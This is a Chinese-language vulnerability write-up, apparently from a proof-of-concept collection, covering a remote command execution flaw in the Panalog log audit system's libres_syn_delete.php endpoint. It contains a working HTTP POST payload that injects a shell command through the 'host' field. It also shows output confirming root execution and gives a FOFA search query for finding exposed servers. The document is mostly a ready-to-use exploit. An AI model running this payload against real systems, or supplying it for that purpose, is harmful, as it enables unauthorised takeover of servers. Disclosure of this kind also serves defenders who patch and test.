# P3-2Panalog-日志审计系统-RCE

**漏洞描述：**

Panalog日志审计系统 libres_syn_delete.php接口处存在远程命令执行漏洞，攻击者可执行任意命令，接管服务器权限。

**影响版本：**

version <= MARS r10p1Free

**网站图片：**



**网络测绘：**

**fofa语法：**

FOFA：app="Panabit-Panalog"

**漏洞复现：**

payload：

```
POST /content-apply/libres_syn_delete.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close

token=1&id=2&host=|id >1.txt
```

效果图:



验证

uid=0(root) gid=0(wheel) groups=0(wheel)